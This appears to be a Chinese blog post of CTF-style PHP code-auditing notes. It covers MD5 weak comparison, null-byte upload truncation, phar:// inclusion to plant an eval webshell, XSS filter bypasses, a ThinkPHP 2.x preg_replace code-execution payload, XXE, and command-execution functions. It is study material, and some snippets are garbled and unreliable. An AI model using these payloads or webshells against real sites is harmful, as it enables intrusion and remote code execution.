php代码审计
案例一 MD5弱比较
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?'); #1
$str = substr($str,1); #2
$str = str_replace('key','',$str);
parse_str($str); #3
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
构造 :?kkeyey1=QNKCDZO&kkeyey2=240610708
1.strstr()
函数搜索字符串在另一字符串中第一次出现,并返回字符串的剩余部分
<?php
echo strstr("I love Shanghai!","Shanghai");
?>
输出:Shanghai
2.substr()
函数返回字符串的一部分
<?php
echo substr("Hello world",6);
?>
输出 :world
3.parse_str()
将查询字符串解析到变量中 parse解析
<?php parse_str("name=Bill&age=60"); echo $name."<br>"; echo $age; ?>
输出:Bill 60
案例二 cookie添加
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0; #1
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
这里用到一个字符串操作 思路是 遍历filename的遇到一个问题是如何将文件的每一行进行base64编码
for i in `cat /usr/share/wordlists/dirb/common.txt` ; do echo $i | base64 >> base64.txt;done
1.intval获取变量的整数值
tips:这里用到的知识还有Cookie内的值要用 = :margin=margin
案例三 00截断
<?php
var_dump($_FILES['upload_file']); //打印接收的文件变量数组
echo "<br />";
$file_ext = substr($_FILES['upload_file']['name'],strrops($_FILES['upload_file']['name'],".")+1); //截取文件名后缀
var_dump($file_ext);
echo "<br />";
$tmp_file = $FILES['upload_file']['tmp_name'] //文件临时存储位置
vardump($tmp_file);
echo "<br />";
$img_path = $_POST['save_path']."/".rand(100,999).date("YmdHis").".".$file_ext; //将上传目录、随机数、时间戳和扩展名拼接为文件保存路径
var_dump($img_path);
echo "<br />";
move_upload_file($tmp_file,$img_path); //将临时文件移动到文件保存路径上
?>
<form enctype="multipart/form-data" method="post">
<p>请选择要上传的图片:</p>
<input type="hidden" name="save_path" value="upload" />
<input class="input_file" type="file" name="upload_file" />
<input class="button" type="submit" name="submit" value="上传" />
</form>
在upload后加\0/1.php,重放后返回路径$img_path值为
string(34) “upload/1.php/6920200330192442.png”,其中包含\0,因此可以总结出,除了$_FILES[‘upload_file’][‘name’]这种变量,其他变量都会将字符串原封不动进行拼接,形成字符串变量中存在\0字符,一旦这个字符串被操作系统用作文件的命名,就会产生00截断的情况。
get方法中,当url中加入%00时,通过urlencode,%00得到字符\0
要知道上传的固定路径是什么 都要在上传的文件后面试试能不能+\0进行截断
案例四 文件包含phar://协议使用
phar://伪协议
这个就是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?file=phar://压缩包/内部文件
php.ini中的phar.readonly必须为off才能生成
试尝试上传一个一句话木马,思路:
1,写一个一句话木马1.php
2 把一句话木马压缩成1.zip
3.把压缩包后缀改名为1.jpg发现上传成功。
再结合上面介绍的phar://伪协议进行解压木马
?file=phar://1.jpg/1 #因为题目会自动添加php后缀
在使用蚁剑或者菜刀链接
<html> tips:the parameter is file! <!--upload.php --> @$file = $_GET['file']; if(isset($file)) { if(preg_match('/http/data/ftp/input/%00/i',$file) || strstr($file,"..$ {
echo error
}
else
{ include($file.'.php');}
}
</html>
通过文件上传含有webshell代码的文件,可以通过代码提示中http,data,ftp,input filter读取,扩展名也必须为php因此不能截断
唯一能够使用的试phar://协议在本地目录下新建一个目录,命令为blog,里面放一个index.php文件,是一个写shell的代码
<?php file_put_contents('shell.php','<php eval($_POST[1])?>'?);
案例五 xss绕过
tips:javascript:alert(1) 这种格式的xss只能用在标签内例如
<input name=keyword value="'.htmlspecialchars($str).'">
#双写绕过
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); #双写绕过 // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
#双写绕过 poc <scscriptript>alert(1)</scscriptript>
#大小写绕过 poc <Script>alert(1)</Script>
其他标签绕过
<body onload=alert('xss')
<a href="" onclick=alert(1)>click</a>
构造其他语句进行弹窗
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
poc : <img src=' ' onerror="alert`1`">
html实体转义绕过htmlspecialchars函数
案例6 thinkphp2的preg_replace的任意代码执行
MVC框架
前提:preg_replace 的/e参数会将第二个模块的参数当成php代码执行
解析:
<?php @preg_replace('/test/e','print_r("AAA");','just test');
例如这段代码可以直接打印出AAA
tips:这个函数5.2~5.6都还是可以执行的,但是到了php 版本7 以上,就已经都不支持/e
修饰符了。
在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
1. 在PHP当中,${}
是可以构造一个变量的,{}
写的是一般的字符,那么就会被当成变量,比如${a}
等价于$a
,那如果{}
写的是一个已知函数名称呢?那么这个函数就会被执行
2.preg_replace的第三个参数必须要有双引号包裹
3.$var[\'\\1\'] = "\\2";' 此数组的意思是让通过前面正则出来的两个参数进行一个键值对等 例如: a/b --> array {a =>b}
4.执行命令的只能是值
5.构造payload ?s=a/b/c/${@print(eval($_POST[1]))}/e/f
案例
函数7 XXE漏洞原理和利用
触发点在于可以上传xml文件,没有对xml文件进行过滤,导致可加载恶意外部文件和代码
造成任意文件读取,命令执行,内网端口扫描,攻击内网网站
xml文档结构包括 xml声明,DTD文档类型定义 文档元素
php://input 是个可以访问请求的原始数据的只读流
结合file_get_contents(php://input)可以读取POST提交的数据
simplexml_load_string函数介绍
php中这个函数将xml格式字符串转换为对应的simpleXMLElement
XML注入回显输出函数
php中使用print_r(),echo输出想要输出的内容
存在xxe漏洞代码
<?php
$xml=file_get_contents(php://input);
$data=simplexml_load_string($xml);
echo "<pre>";
print_r($data);//有回显的xml
?>
字符操作
extract()
extract() 函数从数组中将变量导入到当前的符号表。 #生成的是一个全局变量 例如extract($_GET[a]) --> 传一个$_COOKIE=<?= @eval($_REQUEST[a])?>
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
$_SERVER['REQUEST_uRI']
$_SERVER['REQUEST_uRI'] =
就是域名后面请求的路径和参数
例如:www.test.com/test?a=123
echo $_SERVER['REQUEST_uRI'] = /test?a=123
substr_count($str,$xian)
找一个参数在一个句子里面出现了几次
explode()
把字符串打散成数组
implode()
1 | implode(separator,array) 返回一个由数组元素组合成的字符串。 |
命令执行
- assert函数是直接将传入的参数当成PHP代码直接执行
- xss括号绕过 -反引号替代括号
<img src="x" onerror="alert`1`"/>
system(args) 有回显
passthru(args) 有回显
exec(args) 回显最后一行,必须用echo输出
shell_exec(args) 无回显 必须输出
ob_start()函数
ob_start参数是一个函数名.该函数需要满足条件
1. 函数必须接收一个字符串参数
2. 该函数要有返回值
//当输出缓冲区域被ob_flush(),ob_clean() ob_end_flush冲刷请求结束之际
输出缓冲区内容被该函数调用
ob_start("system");
echo "whomai";
ob_end_flush(); #触发
相当于
system("whoami");
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了